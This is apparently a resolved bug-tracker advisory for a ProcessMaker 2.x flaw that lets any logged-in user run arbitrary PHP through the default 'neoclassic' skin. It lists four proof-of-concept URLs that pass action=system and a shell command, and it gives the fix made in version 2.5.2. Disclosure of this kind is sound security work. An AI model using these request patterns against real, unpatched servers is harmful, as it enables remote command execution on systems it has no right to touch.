ProcessMaker 2.x Authenticated PHP Code Execution Vulnerability

Key Vulnerability Information ID: 0013436 Project: ProcessMaker (Community) Category: XI ... Other View Status: public Submission Date: 2013-10-24 08:24 Last Update: 2014-05-07 18:54 Reporter: lcoles Assigned To: julicesar Priority: high Severity: major Reproducibility: always Status: resolved Resolution: fixed Platform: OS Product Version: ProcessMaker v 2.0.45 Target Version: Fixed in Version Summary 0013436: ProcessMaker 2.x Authenticated PHP Code Execution Description The "neoclassic" skin for ProcessMaker allows any authenticated user to execute arbitrary PHP code under the context of the web server user. Reproduction Steps http://processmaker.example.com/sysworkflow/en/neoclassic/appFolder/appFolderAjax.php?action=system¶ms=dir [] http://processmaker.example.com/sysworkflow/en/neoclassic/cases/cases/StarterPage_Ajax.php?action=system¶ms=dir [] http://processmaker.example.com/sysworkflow/en/neoclassic/cases/caseNotesAjax.php?action=system¶ms=dir [] http://processmaker.example.com/sysworkflow/en/neoclassic/cases/cases_SchedulerGetPlugins.php?action=system¶ms=dir [] Additional Information The vulnerable skin is installed by default in ProcessMaker version 2.x and cannot be removed via the web interface. Solution A new method was implemented to validate if it's a user custom function or a system function (G::isUserFunction). Available on version 2.5.2.

Goal Reached Thanks to every supporter — we hit 100%!

ProcessMaker 2.x Authenticated PHP Code Execution Vulnerability